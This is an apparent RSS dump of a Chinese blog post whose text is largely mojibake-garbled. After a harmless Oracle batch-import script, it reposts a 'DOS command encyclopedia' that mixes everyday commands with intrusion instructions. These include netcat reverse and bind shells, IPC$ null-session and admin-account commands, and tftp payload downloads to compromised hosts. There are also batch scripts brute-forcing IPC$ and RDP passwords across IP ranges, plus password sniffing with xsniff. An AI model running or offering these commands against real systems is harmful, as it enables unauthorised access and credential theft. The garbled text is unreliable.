??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲剧场午夜在线观看,中文字幕第一页亚洲,亚洲日韩在线中文字幕第一页 http://www.tkk7.com/highbbs/E序猿的轨迹zh-cnSun, 11 May 2025 06:04:54 GMTSun, 11 May 2025 06:04:54 GMT60Dos命o大全http://www.tkk7.com/highbbs/archive/2009/07/20/287477.htmlFighterFighterMon, 20 Jul 2009 07:26:00 GMThttp://www.tkk7.com/highbbs/archive/2009/07/20/287477.htmlhttp://www.tkk7.com/highbbs/comments/287477.htmlhttp://www.tkk7.com/highbbs/archive/2009/07/20/287477.html#Feedback0http://www.tkk7.com/highbbs/comments/commentRss/287477.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/287477.html   昨天是礼拜天Q大清早p一条信息吵醒,PP发来一条信息,说他现在100+个dmp文g需要导入到数据库中Q一听这么多文gQ怎么搞,N一条一条sql脚本导入Q那有多个文g岂不是要写多条sql语句Q工作量说v来也不是很大的样子,拯_脓Ҏ文g名就可以?......

  一般这条语句,随便baidu一下都可以查到
  imp username/password@sid file="c:\filename.dmp" full=y ignore=y
  q样子写100多条命o也可以导Q但是正思h都不可以接受
    
  只好写脚本了Q基本分析了一?是把上面的语句中的文g名搞成一个变量,然后for循环取到文g可以了
  baidu了一下尝试写了一个语?br />   @echo off
  for /r C:\dmp\ %%i in (*.dmp) do imp username/password@sid file=%%i full=y ignore=y
  pause
  我是在我本地c:\dmp\目录下放?个dmp文gQ用q个脚本一下就DM
  于是把这个脚本发l了PPQPP也跑了一下,l果引出了N的问题,基本都是基本的Oracle配置问题Q慢慢解冻I发现我对q些也无云里N的,但ȝq是解决了这些问题,l于可以DMQ本?00多条的语句就q样被一条解决了Q脚本的力实在是太吸引Z?br />
今天在网上看C个脚本的帖子Q就拯来和大家一起分享一?我想作者应该不会介意的)Q?br />       
net use \\ip\ipc$ " " /user:" " 建立IPCI链?
net use \\ip\ipc$ "密码" /user:"用户? 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h: \\ip\c$ 登陆后映对方CQ到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup administrators 用户?/add ?用户"d到管理员中其具有管理员权限,注意Qadministrator后加s用复?
net start 查看开启了哪些服务
net start 服务名  开启服务;(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time \\目标ip 查看Ҏ旉
net time \\目标ip /set 讄本地计算机时间与"目标IP"L的时间同?加上参数/yes可取消确认信?
net view 查看本地局域网内开启了哪些׃n
net view \\ip 查看Ҏ局域网内开启了哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况,常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例:netstat -p tcq/ip 查看某协议用情况(查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ136?39其中一个端口开了的话,可查看Ҏ最q登陆的用户名(03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q,参数Q?-w数字"用于讄时间隔?
ping ip(或域? 向对方主机发送默认大ؓ32字节的数据,参数Q?-l[I格]数据包大?Q?-n发送数据次?Q?-t"指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址Qipconfig可用参数"/all"昄全部配置信息
tlist -t 以树行列表显CE?为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存档文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存档以外的文g。例?DEL/AR *.*"表示删除当前目录下所有只LӞ"DEL/A-S *.*"表示删除当前目录下除pȝ文g以外的所有文?

#2 二:

del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。(二个命o作用相同Q?
move 盘符\路径\要移动的文g名 存放Ud文g的\径\Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ二个文gq把不同之处输出?st.txt文g中,"> "?> >" 是重定向命o
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务,用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at \\ip time E序?或一个命? /r 在某旉q行Ҏ某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命oQ?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径\文g? 路径\文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g头要IZ排,参数Q?b指二q制文gQ?a指ASCLL格式文g
copy \\ip\admin$\svv.exe c:\ ?copy\\ip\admin$\*.* 复制Ҏadmini$׃n下的srv.exe文gQ所有文Ӟx地CQ?
xcopy 要复制的文g或目录树 目标地址\目录?复制文g和目录树Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:\server.exe 登陆后,?IP"的server.exe下蝲到目标主机c:\server.exe 参数Q?i指以二进制模式传送,如传送exe文g时用Q如不加-i 则以ASCII模式Q传送文本文件模式)q行传?
tftp -i ҎIP put c:\server.exe 登陆后,上传本地c:\server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作,默认端口?1。bin指用二进制方式传送(可执行文件进Q;默认为ASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ网兛_址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a显C出全部信息
start E序名或命o /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读,pȝQ隐?属性;用+则是d为某属?
dir 查看文gQ参敎ͼ/Q昄文g及目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?T:A昄文g上次被访问时_/T:W上次被修Ҏ?
date /t ?time /t 使用此参数即"DATE/T"?TIME/T"只昄当前日期和时_而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序,q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理(更多说明见if命o及变量)
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行,且以冒号打头Q例如:"Qstart"标签Q?
call 路径\批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令(更多说明见for命o及变量)
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o提示W?把C:\、D:\l一改ؓQEntSky\ )

#3 三:

ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息(内存大小、系l版本、补丁版本、计机名)
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命oQ字W?
doskey 要解锁命? 为DOS提供的锁定命?~辑命o行,重新调用win2k命oQƈ创徏?。如Q锁定dir命oQdoskey dir=entsky (不能用doskey dir=dir)Q解锁:doskey dir=
taskmgr 调出d理?
chkdsk /F D: 查磁盘Dq显C状态报告;加参?fq修复磁盘上的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前,用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o解释H口。参敎ͼ/eff?en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无Q何提C;
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ件访问控制列表(ACLQ——针对NTFS格式时。参敎ͼ/D 用户?讑֮拒绝某用戯问;/P 用户?perm 替换指定用户的访问权限;/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无,R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:\test.txt /D pub 讑֮d:\test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ地网l配|情?

#4 四:

IIS服务命oQ?
iisreset /reboot 重启win2k计算机(但有提示pȝ重启信息出玎ͼ
iisreset /start或stop 启动Q停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用)Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会强制l止Internet服务
iisreset /timeout Val在到N时_U)Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q则电脑会重新开机。预讑րgؓ重新启动20U,停止60U,重新开?U?
FTP 命oQ?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?
Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?
Qg 取消全局文g名?
help [命o] ?Q[命o] 查看命o说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ件至本地L
mput local-files 本CZ一Ҏ件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用LHOME目录
chmod 改变q端L的文件权?
case 当ؓON?用MGET命o拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip

#5 五:

MYSQL 命oQ?
mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?
Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P
exit 退出MYSQL
mysqladmin -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by \"密码\"; 增加新用戗(注意Q和上面不同Q下面的因ؓ是MYSQL环境中的命oQ所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息,我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?
show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?
create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库:Q命令在DOS的\\mysql\\bin目录下执行);注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取,打开看看你会有新发现?
win2003pȝ下新增命令(实用部䆾Q:
shutdown /参数 关闭或重启本地或q程L?
参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_范围0?80U之_ /A取消开机,/M //IP 指定的远E主机?
例:shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?
参数说明Q?PID 要终止进E的pid,可用tasklist命o获得各进E的pidQ?IM 要终止的q程的进E名Q?F 强制l止q程Q?T l止指定的进E及他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?
参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q无参数时就只列出当前的q程?

#6 六:

Linuxpȝ下基本命令: 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及子目?
mkdir 目录?建立目录
rmdir 删除子目录,目录内没有文档?
chmod 讑֮档案或目录的存取权限
grep 在档案中查找字符?
diff 档案文g比较
find 档案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z及Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接ҎLQ同win2KQ,当出现bash$时就说明q接成功?
ftp ftpq接上某服务器(同win2KQ?

附:批处理命令与变量

1Qfor命o及变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用:%%i Q而调用变量时用:%i% Q变量是区分大小写的Q?i 不等?%IQ?
批处理每ơ能处理的变量从%0?9?0个,其中%0默认l批处理文g名用,%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例:net use \\ip\ipc$ pass /user:user 中ip?1,pass?2 ,user?3

(set):指定一个或一l文Ӟ可用通配W,如:(D:\user.txt)?1 1 254)(1 -1 254),{ "(1 1 254)"W一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I??54Q?(1 -1 254)"说明Q即?54? }

commandQ指定对W个文g执行的命令,如:net use命oQ如要执行多个命令时Q命令这间加Q?amp; 来隔开
command_parametersQؓ特定命o指定参数或命令行开?

IN (set)Q指?set)中取|DO command Q指执行command

参数Q?L 指用增量形式{ (set)为增量Ş式时 }Q?F 指从文g中不断取|直到取完为止{ (set)为文件时Q如(d:\pass.txt)?}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命o成功完成" >>test.txt
存ؓtest.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏立administrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?

/L指用增量形式Q即?-254?54-1Q;输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位)Q?amp; 用来隔开echo 和net use q二个命令;| 指徏立了ipc$后,在结果中用find查看是否?命o成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量,l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存ؓQok.exe 说明Q输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码Q直到文件中值取完ؓ止?%i为用户名Q?1入的IP地址Q默认)?

#7 七:

2Qif命o及变?基本格式Q?
IF [not] errorlevel 数字 命o语句 如果E序q行最后返回一个等于或大于指定数字的退出编码,指定条g???
例:IF errorlevel 0 命o 指程序执行后q回的gؓ0ӞD后面的命令;IF not errorlevel 1 命o指程序执行最后返回的g{于1Q就执行后面的命令?
0 指发现ƈ成功执行Q真Q;1 指没有发现、没执行Q假Q?
IF [not] 字符?==字符? 命o语句 如果指定的文本字W串匚wQ即Q字W串1 {于 字符?Q,执行后面的命o?
例:"if "%2%"=="4" goto start"指:如果输入的第二个变量?Ӟ执行后面的命令(注意Q调用变量时?变量?q加" "Q?
IF [not] exist 文g?命o语句 如果指定的文件名存在Q就执行后面的命令?
例:"if not nc.exe goto end"指:如果没有发现nc.exe文gp?:end"标签处?
IF [not] errorlevel 数字 命o语句 else 命o语句?IF [not] 字符?==字符? 命o语句 else 命o语句?IF [not] exist 文g?命o语句 else 命o语句 加上Qelse 命o语句后指Q当前面的条件不成立Ӟ指行else后面的命令。注意:else 必须?if 在同一行才有效?当有del命o旉把del命o全部内容?lt; >括v来,因ؓdel命o要单独一行时才能执行Q用?lt; >后就{于是单独一行了Q例如:"if exist test.txt. else echo test.txt.missing "Q注意命令中?."


Q二Q系l外部命?均需下蝲相关工具)Q?

1、瑞士军刀Qnc.exe

参数说明Q?
-h 查看帮助信息
-d 后台模式
-e progE序重定向,一但连接就执行Qd险]
-i secs延时的间?
-l 监听模式Q用于入站连?
-L 监听模式Q连接天闭后仍然l箋监听Q直到CTR+C
-n IP地址Q不能用域名
-o film记录16q制的传?
-p[I格]端口 本地端口?
-r 随机本地及远E端?
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出Q用-vv更详细
-w数字 timeout延时间隔
-z 输入,输出xQ用于扫锚时Q?
基本用法Q?
nc -nvv 192.168.0.1 80 q接?92.168.0.1L?0端口
nc -l -p 80 开启本机的TCP 80端口q监?
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1?0-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe l定remoteL的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remoteL的cmdshellq反向连?92.168.0.2?354端口
高用法Q?
nc -L -p 80 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C为止
nc -L -p 80 > c:\log.txt 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作ؓ蜜罐?-1Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道中,亦可起到传送文件作?
type.exe c:\honeyport | nc -L -p 80 作ؓ蜜罐?-2Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道?亦可起到传送文件作?
本机上用Qnc -l -p 本机端口
在对方主Z用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向q接H破ҎL的防火墙
本机上用Qnc -d -l -p 本机端口 < 要传送的文g路径及名U?
在对方主Z用:nc -vv 本机IP 本机端口 > 存放文g的\径及名称 传送文件到ҎL
?注:
| 道命o
< ?> 重定向命令?<"Q例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命o
Q?表示执行Q后面的命oQ但不会昄出来Q后台执行)Q例Q@dir c:\winnt >> d:\log.txt 意思是Q后台执行dirQƈ把结果存在d:\log.txt?
>?gt;>的区? ">"指:覆盖Q?>>"指:保存?d刎ͼ?
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命o分别执行二次比较看:?gt;>的则是把二次的结果都保存了,而用Q?gt;则只有一ơ的l果Q是因ؓW二ơ的l果把第一ơ的覆盖了?

#8 八:

2、扫锚工Pxscan.exe

基本格式
xscan -host <起始IP>[-<l止IP>] <项?gt; [其他选项] 扫锚"起始IP到终止IP"D늚所有主Z?
xscan -file <L列表文g?gt; <项?gt; [其他选项] 扫锚"LIP列表文g?中的所有主Z?
项?
-active 主机是否存z?
-os 远E操作系l类型(通过NETBIOS和SNMP协议Q?
-port 常用服务的端口状?
-ftp FTP弱口?
-pub FTP服务匿名用户写权?
-pop3 POP3-Server弱口?
-smtp SMTP-Server漏洞
-sql SQL-Server弱口?
-smb NT-Server弱口?
-iis IIS~码/解码漏洞
-cgi CGI漏洞
-nasl 加蝲Nessusd脚本
-all 以上所有项?
其它选项
-i 适配器编?讄|络适配? <适配器编?gt;可通过"-l"参数获取
-l 昄所有网l适配?
-v 昄详细扫描q度
-p 跌没有响应的主?
-o 跌没有到开攄口的L
  -t q发U程数量,q发L数量 指定最大ƈ发线E数量和q发L数量, 默认数量?00,10
-log 文g?指定扫描报告文g?(后缀为:TXT或HTML格式的文?
用法CZ
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  ?92.168.1.1-192.168.255.255|段内主机的所有漏z,跌无响应的L
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o ?92.168.1.1-192.168.255.255|段内主机的标准端口状态,NT弱口令用P最大ƈ发线E数量ؓ150Q蟩q没有检到开攄口的L
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o ?hostlist.txt"文g中列出的所有主机的标准端口状态,CGI漏洞Q最大ƈ发线E数量ؓ200Q同一时刻最多检?C机,昄详细进度,跌没有到开攄口的L

#9 九:

3、命令行方式嗅探? xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据?
-udp 输出UDP数据?
-icmp 输出ICMP数据?
-pass qo密码信息
-hide 后台q行
-host 解析L?
-addr IP地址 qoIP地址
-port 端口 qo端口
-log 文g?输Z存到文g
-asc 以ASCII形式输出
-hex ?6q制形式输出
用法CZ
xsniff.exe -pass -hide -log pass.log 后台q行嗅探密码q将密码信息保存在pass.log文g?
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1q过滤tcp和udp信息q以ASCII格式输出

4、终端服务密码破? tscrack.exe

参数说明
-h 昄使用帮助
-v 昄版本信息
-s 在屏q上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个q接Q多U程Q?
-N Prevent System Log entries on targeted server
-U 卸蝲U除tscracklg
-f 使用Qf后面的密?
-F 间隔旉Q频率)
-l 使用Ql后面的用户名
-w 使用Qw后面的密码字?
-p 使用Qp后面的密?
-D d主页?
用法CZ
tscrack 192.168.0.1 -l administrator -w pass.dic q程用密码字典文件暴破主机的administrator的登陆密?
tscrack 192.168.0.1 -l administrator -p 123456 用密?23456q程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存?389.bat) Q假讄有用SuperScan或其它扫锚器扫到一批开?389的主机IP列表文g3389.txt)
3389.bat意思是Q从3389.txt文g中取一个IPQ接着q行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (q行3389.batOKQ且3389.bat、hack.bat?389.txt、pass.dic与tscrack.exe在同一个目录下Q就可以{待l果?
hack.bat意思是Q运行tscrack.exe用字典暴?389.txt中所有主机的administrator密码Qƈ破解结果保存在rouji.txt文g中?

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20U后对方NT自动关闭QWindows 2003pȝ自带工具Q在Windows2000下用q就得下载此工具才能用。在前面Windows 2003 DOS命o中有详细介绍。)
fpipe.exe (TCP端口重定向工? 在第二篇中有详细说明Q端口重定向l过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你?0端口Ӟ他扫到的l果会完全是www.sina.com.cn的主Z?
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnethl端口重定向后,通过88端口发送到目标IP?3端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后Q直接Telnet 127.0.0.1Q本机IPQ就q接到目标IP?3端口了?
OpenTelnet.exe (q程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 Q不需要上传ntlm.exe破坏微Y的n份验证方式)直接q程开启对方的telnet服务后,可用telnet \\ip q接上对斏V?
NTLM认证方式Q0Q不使用NTLMw䆾验证Q1Q先试NTLMw䆾验证Q如果失败,再用用户名和密码;Q:只用NTLMw䆾验证?

ResumeTelnet.exe (OpenTelnet附带的另一个工?
resumetelnet.exe \\IP 帐号 密码 用Telnetq接完对方后Q就用这个命令将Ҏ的Telnet讄q原Qƈ同时关闭Telnet服务?

#10 十:

6、FTP命o详解Q?

FTP命o是Internet用户使用最频繁的命令之一Q熟悉ƈ灉|应用FTP的内部命令,可以大大方便使用者,q收C半功倍之效。如果你惛_习用进行后台FTP下蝲Q那么就必须学习FTP指o?

FTP的命令行格式为:
ftp -v -d -i -n -g [L名] Q其?

-v 昄q程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用Q?n etrc文gQ?

-d 使用调试方式Q?

-g 取消全局文g名?

FTP使用的内部命令如?中括可C可选项):

1.![cmd[args]]Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?

3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?
4.append local-file[remote-file]Q将本地文gq加到远E系l主机,若未指定q程pȝ文g名,则用本地文件名?

5.asciiQ用asciicd传输方式?
6.bellQ每个命令执行完毕后计算机响铃一ơ?

7.binQ用二q制文g传输方式?
8.byeQ退出ftp会话q程?

9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ写字母?
10.cd remote-dirQ进入远E主机目录?

11.cdupQ进入远E主机目录的父目录?
12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓmodeQ如Qchmod 777 a.out?

13.closeQ中断与q程服务器的ftp会话(与open对应)?
14.crQ用asscii方式传输文gӞ回车换行{换ؓ回行?

15.delete remote-fileQ删除远E主机文件?
16.debug[debug-value]Q设|调试方式, 昄发送至q程L的每条命令,如:deb up 3Q若设ؓ0Q表C取消debug?

17.dir[remote-dir][local-file]Q显CE主机目录,q将l果存入本地文g?
18.disconnectionQ同close?

19.form formatQ将文g传输方式讄为formatQ缺省ؓfile方式?
20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?

21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o行的-g参数?
22.hashQ每传输1024字节Q显CZ个hashW号(#)?

23.help[cmd]Q显Cftp内部命ocmd的帮助信息,如:help get?
24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?

25.imageQ设|二q制传输方式(同binary)?
26.lcd[dir]Q将本地工作目录切换至dir?

27.ls[remote-dir][local-file]Q显CE目录remote-dirQ?q存入本地文件local-file?
28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?

29.mdelete[remote-file]Q删除远E主机文件?
30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?

31.mget remote-filesQ传输多个远E文件?
32.mkdir dir-nameQ在q程L中徏一目录?

33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?
34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?

35.modtime file-nameQ显CE主机文件的最后修Ҏ间?
36.mput local-fileQ将多个文g传输臌E主机?

37.newer file-nameQ?如果q程Zfile-name的修Ҏ间比本地盘同名文g的时间更q,则重传该文g?
38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?

39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如:nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变为a1Qa2?该命令特别适用于远E主Zؓ非UNIX机的情况?
40.ntrans[inchars[outchars]]Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变为RRR?

41.open host[port]Q徏立指定ftp服务器连接,可指定连接端口?
42.passiveQ进入被动传输方式?

43.promptQ设|多个文件传输时的交互提C?
